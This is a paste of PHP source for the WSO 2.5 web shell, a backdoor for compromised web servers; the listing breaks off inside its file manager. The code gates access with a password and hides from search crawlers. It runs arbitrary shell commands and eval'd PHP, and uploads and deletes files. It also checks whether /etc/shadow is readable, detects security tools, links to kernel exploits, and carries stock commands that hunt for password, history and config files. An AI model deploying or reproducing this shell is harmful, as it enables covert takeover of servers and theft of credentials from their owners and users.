my own script


SUBMITTED BY: Guest

DATE: Nov. 9, 2013, 3:52 p.m.

FORMAT: PHP

SIZE: 74.7 kB

HITS: 1897

  1. <?php
  2. $auth_pass = "63a9f0ea7bb98050796b649e85481845";
  3. $color = "#df5";
  4. $default_action = 'FilesMan';
  5. $default_use_ajax = true;
  6. $default_charset = 'Windows-1251';
  7. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  8. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  9. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  10. header('HTTP/1.0 404 Not Found');
  11. exit;
  12. }
  13. }
  14. @ini_set('error_log',NULL);
  15. @ini_set('log_errors',0);
  16. @ini_set('max_execution_time',0);
  17. @set_time_limit(0);
  18. @set_magic_quotes_runtime(0);
  19. @define('WSO_VERSION', '2.5');
  20. if(get_magic_quotes_gpc()) {
  21. function WSOstripslashes($array) {
  22. return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  23. }
  24. $_POST = WSOstripslashes($_POST);
  25. $_COOKIE = WSOstripslashes($_COOKIE);
  26. }
  27. function wsoLogin() {
  28. die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  29. }
  30. function WSOsetcookie($k, $v) {
  31. $_COOKIE[$k] = $v;
  32. setcookie($k, $v);
  33. }
  34. if(!empty($auth_pass)) {
  35. if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
  36. WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  37. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
  38. wsoLogin();
  39. }
  40. if(strtolower(substr(PHP_OS,0,3)) == "win")
  41. $os = 'win';
  42. else
  43. $os = 'nix';
  44. $safe_mode = @ini_get('safe_mode');
  45. if(!$safe_mode)
  46. error_reporting(0);
  47. $disable_functions = @ini_get('disable_functions');
  48. $home_cwd = @getcwd();
  49. if(isset($_POST['c']))
  50. @chdir($_POST['c']);
  51. $cwd = @getcwd();
  52. if($os == 'win') {
  53. $home_cwd = str_replace("\\", "/", $home_cwd);
  54. $cwd = str_replace("\\", "/", $cwd);
  55. }
  56. if($cwd[strlen($cwd)-1] != '/')
  57. $cwd .= '/';
  58. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  59. $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
  60. if($os == 'win')
  61. $aliases = array(
  62. "List Directory" => "dir",
  63. "Find index.php in current dir" => "dir /s /w /b index.php",
  64. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  65. "Show active connections" => "netstat -an",
  66. "Show running services" => "net start",
  67. "User accounts" => "net user",
  68. "Show computers" => "net view",
  69. "ARP Table" => "arp -a",
  70. "IP Configuration" => "ipconfig /all"
  71. );
  72. else
  73. $aliases = array(
  74. "List dir" => "ls -lha",
  75. "list file attributes on a Linux second extended file system" => "lsattr -va",
  76. "show opened ports" => "netstat -an | grep -i listen",
  77. "process status" => "ps aux",
  78. "Find" => "",
  79. "find all suid files" => "find / -type f -perm -04000 -ls",
  80. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  81. "find all sgid files" => "find / -type f -perm -02000 -ls",
  82. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  83. "find config.inc.php files" => "find / -type f -name config.inc.php",
  84. "find config* files" => "find / -type f -name \"config*\"",
  85. "find config* files in current dir" => "find . -type f -name \"config*\"",
  86. "find all writable folders and files" => "find / -perm -2 -ls",
  87. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  88. "find all service.pwd files" => "find / -type f -name service.pwd",
  89. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  90. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  91. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  92. "find all .bash_history files" => "find / -type f -name .bash_history",
  93. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  94. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  95. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  96. "Locate" => "",
  97. "locate httpd.conf files" => "locate httpd.conf",
  98. "locate vhosts.conf files" => "locate vhosts.conf",
  99. "locate proftpd.conf files" => "locate proftpd.conf",
  100. "locate psybnc.conf files" => "locate psybnc.conf",
  101. "locate my.conf files" => "locate my.conf",
  102. "locate admin.php files" =>"locate admin.php",
  103. "locate cfg.php files" => "locate cfg.php",
  104. "locate conf.php files" => "locate conf.php",
  105. "locate config.dat files" => "locate config.dat",
  106. "locate config.php files" => "locate config.php",
  107. "locate config.inc files" => "locate config.inc",
  108. "locate config.inc.php" => "locate config.inc.php",
  109. "locate config.default.php files" => "locate config.default.php",
  110. "locate config* files " => "locate config",
  111. "locate .conf files"=>"locate '.conf'",
  112. "locate .pwd files" => "locate '.pwd'",
  113. "locate .sql files" => "locate '.sql'",
  114. "locate .htpasswd files" => "locate '.htpasswd'",
  115. "locate .bash_history files" => "locate '.bash_history'",
  116. "locate .mysql_history files" => "locate '.mysql_history'",
  117. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  118. "locate backup files" => "locate backup",
  119. "locate dump files" => "locate dump",
  120. "locate priv files" => "locate priv"
  121. );
  122. function wsoHeader() {
  123. if(empty($_POST['charset']))
  124. $_POST['charset'] = $GLOBALS['default_charset'];
  125. global $color;
  126. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
  127. <style>
  128. body{background-color:#444;color:#e1e1e1;}
  129. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  130. table.info{ color:#fff;background-color:#222; }
  131. span,h1,a{ color: $color !important; }
  132. span{ font-weight: bolder; }
  133. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  134. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  135. a{ text-decoration:none; }
  136. a:hover{ text-decoration:underline; }
  137. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  138. .bigarea{ width:100%;height:300px; }
  139. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  140. form{ margin:0px; }
  141. #toolsTbl{ text-align:center; }
  142. .toolsInp{ width: 300px }
  143. .main th{text-align:left;background-color:#5e5e5e;}
  144. .main tr:hover{background-color:#5e5e5e}
  145. .l1{background-color:#444}
  146. .l2{background-color:#333}
  147. pre{font-family:Courier,Monospace;}
  148. </style>
  149. <script>
  150. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  151. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  152. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  153. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  154. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  155. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  156. var d = document;
  157. function set(a,c,p1,p2,p3,charset) {
  158. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  159. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  160. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  161. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  162. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  163. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  164. }
  165. function g(a,c,p1,p2,p3,charset) {
  166. set(a,c,p1,p2,p3,charset);
  167. d.mf.submit();
  168. }
  169. function a(a,c,p1,p2,p3,charset) {
  170. set(a,c,p1,p2,p3,charset);
  171. var params = 'ajax=true';
  172. for(i=0;i<d.mf.elements.length;i++)
  173. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  174. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  175. }
  176. function sr(url, params) {
  177. if (window.XMLHttpRequest)
  178. req = new XMLHttpRequest();
  179. else if (window.ActiveXObject)
  180. req = new ActiveXObject('Microsoft.XMLHTTP');
  181. if (req) {
  182. req.onreadystatechange = processReqChange;
  183. req.open('POST', url, true);
  184. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  185. req.send(params);
  186. }
  187. }
  188. function processReqChange() {
  189. if( (req.readyState == 4) )
  190. if(req.status == 200) {
  191. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  192. var arr=reg.exec(req.responseText);
  193. eval(arr[2].substr(0, arr[1]));
  194. } else alert('Request error!');
  195. }
  196. </script>
  197. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  198. <form method=post name=mf style='display:none;'>
  199. <input type=hidden name=a>
  200. <input type=hidden name=c>
  201. <input type=hidden name=p1>
  202. <input type=hidden name=p2>
  203. <input type=hidden name=p3>
  204. <input type=hidden name=charset>
  205. </form>";
  206. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  207. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  208. $totalSpace = $totalSpace?$totalSpace:1;
  209. $release = @php_uname('r');
  210. $kernel = @php_uname('s');
  211. $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
  212. if(strpos('Linux', $kernel) !== false)
  213. $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  214. else
  215. $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  216. if(!function_exists('posix_getegid')) {
  217. $user = @get_current_user();
  218. $uid = @getmyuid();
  219. $gid = @getmygid();
  220. $group = "?";
  221. } else {
  222. $uid = @posix_getpwuid(posix_geteuid());
  223. $gid = @posix_getgrgid(posix_getegid());
  224. $user = $uid['name'];
  225. $uid = $uid['uid'];
  226. $group = $gid['name'];
  227. $gid = $gid['gid'];
  228. }
  229. $cwd_links = '';
  230. $path = explode("/", $GLOBALS['cwd']);
  231. $n=count($path);
  232. for($i=0; $i<$n-1; $i++) {
  233. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  234. for($j=0; $j<=$i; $j++)
  235. $cwd_links .= $path[$j].'/';
  236. $cwd_links .= "\")'>".$path[$i]."/</a>";
  237. }
  238. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  239. $opt_charsets = '';
  240. foreach($charsets as $item)
  241. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  242. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  243. if(!empty($GLOBALS['auth_pass']))
  244. $m['Logout'] = 'Logout';
  245. $m['Self remove'] = 'SelfRemove';
  246. $menu = '';
  247. foreach($m as $k => $v)
  248. $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  249. $drives = "";
  250. if($GLOBALS['os'] == 'win') {
  251. foreach(range('c','z') as $drive)
  252. if(is_dir($drive.':\\'))
  253. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  254. }
  255. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  256. . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
  257. . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
  258. . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  259. . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  260. }
  261. function wsoFooter() {
  262. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  263. echo "
  264. </div>
  265. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  266. <tr>
  267. <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  268. <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  269. </tr><tr>
  270. <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  271. <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  272. </tr><tr>
  273. <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  274. <td><form method='post' ENCTYPE='multipart/form-data'>
  275. <input type=hidden name=a value='FilesMAn'>
  276. <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  277. <input type=hidden name=p1 value='uploadFile'>
  278. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  279. <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
  280. </tr></table></div></body></html>";
  281. }
  282. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  283. function posix_getpwuid($p) {return false;} }
  284. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  285. function posix_getgrgid($p) {return false;} }
  286. function wsoEx($in) {
  287. $out = '';
  288. if (function_exists('exec')) {
  289. @exec($in,$out);
  290. $out = @join("\n",$out);
  291. } elseif (function_exists('passthru')) {
  292. ob_start();
  293. @passthru($in);
  294. $out = ob_get_clean();
  295. } elseif (function_exists('system')) {
  296. ob_start();
  297. @system($in);
  298. $out = ob_get_clean();
  299. } elseif (function_exists('shell_exec')) {
  300. $out = shell_exec($in);
  301. } elseif (is_resource($f = @popen($in,"r"))) {
  302. $out = "";
  303. while(!@feof($f))
  304. $out .= fread($f,1024);
  305. pclose($f);
  306. }
  307. return $out;
  308. }
  309. function wsoViewSize($s) {
  310. if (is_int($s))
  311. $s = sprintf("%u", $s);
  312. if($s >= 1073741824)
  313. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  314. elseif($s >= 1048576)
  315. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  316. elseif($s >= 1024)
  317. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  318. else
  319. return $s . ' B';
  320. }
  321. function wsoPerms($p) {
  322. if (($p & 0xC000) == 0xC000)$i = 's';
  323. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  324. elseif (($p & 0x8000) == 0x8000)$i = '-';
  325. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  326. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  327. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  328. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  329. else $i = 'u';
  330. $i .= (($p & 0x0100) ? 'r' : '-');
  331. $i .= (($p & 0x0080) ? 'w' : '-');
  332. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  333. $i .= (($p & 0x0020) ? 'r' : '-');
  334. $i .= (($p & 0x0010) ? 'w' : '-');
  335. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  336. $i .= (($p & 0x0004) ? 'r' : '-');
  337. $i .= (($p & 0x0002) ? 'w' : '-');
  338. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  339. return $i;
  340. }
  341. function wsoPermsColor($f) {
  342. if (!@is_readable($f))
  343. return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  344. elseif (!@is_writable($f))
  345. return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  346. else
  347. return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  348. }
  349. function wsoScandir($dir) {
  350. if(function_exists("scandir")) {
  351. return scandir($dir);
  352. } else {
  353. $dh = opendir($dir);
  354. while (false !== ($filename = readdir($dh)))
  355. $files[] = $filename;
  356. return $files;
  357. }
  358. }
  359. function wsoWhich($p) {
  360. $path = wsoEx('which ' . $p);
  361. if(!empty($path))
  362. return $path;
  363. return false;
  364. }
  365. function actionSecInfo() {
  366. wsoHeader();
  367. echo '<h1>Server security information</h1><div class=content>';
  368. function wsoSecParam($n, $v) {
  369. $v = trim($v);
  370. if($v) {
  371. echo '<span>' . $n . ': </span>';
  372. if(strpos($v, "\n") === false)
  373. echo $v . '<br>';
  374. else
  375. echo '<pre class=ml1>' . $v . '</pre>';
  376. }
  377. }
  378. wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  379. if(function_exists('apache_get_modules'))
  380. wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  381. wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  382. wsoSecParam('Open base dir', @ini_get('open_basedir'));
  383. wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  384. wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  385. wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  386. $temp=array();
  387. if(function_exists('mysql_get_client_info'))
  388. $temp[] = "MySql (".mysql_get_client_info().")";
  389. if(function_exists('mssql_connect'))
  390. $temp[] = "MSSQL";
  391. if(function_exists('pg_connect'))
  392. $temp[] = "PostgreSQL";
  393. if(function_exists('oci_connect'))
  394. $temp[] = "Oracle";
  395. wsoSecParam('Supported databases', implode(', ', $temp));
  396. echo '<br>';
  397. if($GLOBALS['os'] == 'nix') {
  398. wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  399. wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  400. wsoSecParam('OS version', @file_get_contents('/proc/version'));
  401. wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  402. if(!$GLOBALS['safe_mode']) {
  403. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  404. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  405. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  406. echo '<br>';
  407. $temp=array();
  408. foreach ($userful as $item)
  409. if(wsoWhich($item))
  410. $temp[] = $item;
  411. wsoSecParam('Userful', implode(', ',$temp));
  412. $temp=array();
  413. foreach ($danger as $item)
  414. if(wsoWhich($item))
  415. $temp[] = $item;
  416. wsoSecParam('Danger', implode(', ',$temp));
  417. $temp=array();
  418. foreach ($downloaders as $item)
  419. if(wsoWhich($item))
  420. $temp[] = $item;
  421. wsoSecParam('Downloaders', implode(', ',$temp));
  422. echo '<br/>';
  423. wsoSecParam('HDD space', wsoEx('df -h'));
  424. wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  425. echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  426. if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
  427. $temp = "";
  428. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  429. $uid = @posix_getpwuid($_POST['p2']);
  430. if ($uid)
  431. $temp .= join(':',$uid)."\n";
  432. }
  433. echo '<br/>';
  434. wsoSecParam('Users', $temp);
  435. }
  436. }
  437. } else {
  438. wsoSecParam('OS Version',wsoEx('ver'));
  439. wsoSecParam('Account Settings',wsoEx('net accounts'));
  440. wsoSecParam('User Accounts',wsoEx('net user'));
  441. }
  442. echo '</div>';
  443. wsoFooter();
  444. }
  445. function actionPhp() {
  446. if(isset($_POST['ajax'])) {
  447. WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
  448. ob_start();
  449. eval($_POST['p1']);
  450. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  451. echo strlen($temp), "\n", $temp;
  452. exit;
  453. }
  454. if(empty($_POST['ajax']) && !empty($_POST['p1']))
  455. WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
  456. wsoHeader();
  457. if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  458. echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  459. ob_start();
  460. phpinfo();
  461. $tmp = ob_get_clean();
  462. $tmp = preg_replace(array (
  463. '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
  464. '!td, th {(.*)}!msiU',
  465. '!<img[^>]+>!msiU',
  466. ), array (
  467. '',
  468. '.e, .v, .h, .h th {$1}',
  469. ''
  470. ), $tmp);
  471. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  472. }
  473. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  474. echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  475. if(!empty($_POST['p1'])) {
  476. ob_start();
  477. eval($_POST['p1']);
  478. echo htmlspecialchars(ob_get_clean());
  479. }
  480. echo '</pre></div>';
  481. wsoFooter();
  482. }
  483. function actionFilesMan() {
  484. if (!empty ($_COOKIE['f']))
  485. $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  486. if(!empty($_POST['p1'])) {
  487. switch($_POST['p1']) {
  488. case 'uploadFile':
  489. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  490. echo "Can't upload file!";
  491. break;
  492. case 'mkdir':
  493. if(!@mkdir($_POST['p2']))
  494. echo "Can't create new dir";
  495. break;
  496. case 'delete':
  497. function deleteDir($path) {
  498. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  499. $dh = opendir($path);
  500. while ( ($item = readdir($dh) ) !== false) {
  501. $item = $path.$item;
  502. if ( (basename($item) == "..") || (basename($item) == ".") )
  503. continue;
  504. $type = filetype($item);
  505. if ($type == "dir")
  506. deleteDir($item);
  507. else
  508. @unlink($item);
  509. }
  510. closedir($dh);
  511. @rmdir($path);
  512. }
  513. if(is_array(@$_POST['f']))
  514. foreach($_POST['f'] as $f) {
  515. if($f == '..')
  516. continue;
  517. $f = urldecode($f);
  518. if(is_dir($f))
  519. deleteDir($f);
  520. else
  521. @unlink($f);
  522. }
  523. break;
  524. case 'paste':
  525. if($_COOKIE['act'] == 'copy') {
  526. function copy_paste($c,$s,$d){
  527. if(is_dir($c.$s)){
  528. mkdir($d.$s);
  529. $h = @opendir($c.$s);
  530. while (($f = @readdir($h)) !== false)
  531. if (($f != ".") and ($f != ".."))
  532. copy_paste($c.$s.'/',$f, $d.$s.'/');
  533. } elseif(is_file($c.$s))
  534. @copy($c.$s, $d.$s);
  535. }
  536. foreach($_COOKIE['f'] as $f)
  537. copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
  538. } elseif($_COOKIE['act'] == 'move') {
  539. function move_paste($c,$s,$d){
  540. if(is_dir($c.$s)){
  541. mkdir($d.$s);
  542. $h = @opendir($c.$s);
  543. while (($f = @readdir($h)) !== false)
  544. if (($f != ".") and ($f != ".."))
  545. copy_paste($c.$s.'/',$f, $d.$s.'/');
  546. } elseif(@is_file($c.$s))
  547. @copy($c.$s, $d.$s);
  548. }
  549. foreach($_COOKIE['f'] as $f)
  550. @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
  551. } elseif($_COOKIE['act'] == 'zip') {
  552. if(class_exists('ZipArchive')) {
  553. $zip = new ZipArchive();
  554. if ($zip->open($_POST['p2'], 1)) {
  555. chdir($_COOKIE['c']);
  556. foreach($_COOKIE['f'] as $f) {
  557. if($f == '..')
  558. continue;
  559. if(@is_file($_COOKIE['c'].$f))
  560. $zip->addFile($_COOKIE['c'].$f, $f);
  561. elseif(@is_dir($_COOKIE['c'].$f)) {
  562. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
  563. foreach ($iterator as $key=>$value) {
  564. $zip->addFile(realpath($key), $key);
  565. }
  566. }
  567. }
  568. chdir($GLOBALS['cwd']);
  569. $zip->close();
  570. }
  571. }
  572. } elseif($_COOKIE['act'] == 'unzip') {
  573. if(class_exists('ZipArchive')) {
  574. $zip = new ZipArchive();
  575. foreach($_COOKIE['f'] as $f) {
  576. if($zip->open($_COOKIE['c'].$f)) {
  577. $zip->extractTo($GLOBALS['cwd']);
  578. $zip->close();
  579. }
  580. }
  581. }
  582. } elseif($_COOKIE['act'] == 'tar') {
  583. chdir($_COOKIE['c']);
  584. $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  585. wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  586. chdir($GLOBALS['cwd']);
  587. }
  588. unset($_COOKIE['f']);
  589. setcookie('f', '', time() - 3600);
  590. break;
  591. default:
  592. if(!empty($_POST['p1'])) {
  593. WSOsetcookie('act', $_POST['p1']);
  594. WSOsetcookie('f', serialize(@$_POST['f']));
  595. WSOsetcookie('c', @$_POST['c']);
  596. }
  597. break;
  598. }
  599. }
  600. wsoHeader();
  601. echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  602. $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  603. if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
  604. global $sort;
  605. $sort = array('name', 1);
  606. if(!empty($_POST['p1'])) {
  607. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  608. $sort = array($match[1], (int)$match[2]);
  609. }
  610. echo "<script>
  611. function sa() {
  612. for(i=0;i<d.files.elements.length;i++)
  613. if(d.files.elements[i].type == 'checkbox')
  614. d.files.elements[i].checked = d.files.elements[0].checked;
  615. }
  616. </script>
  617. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
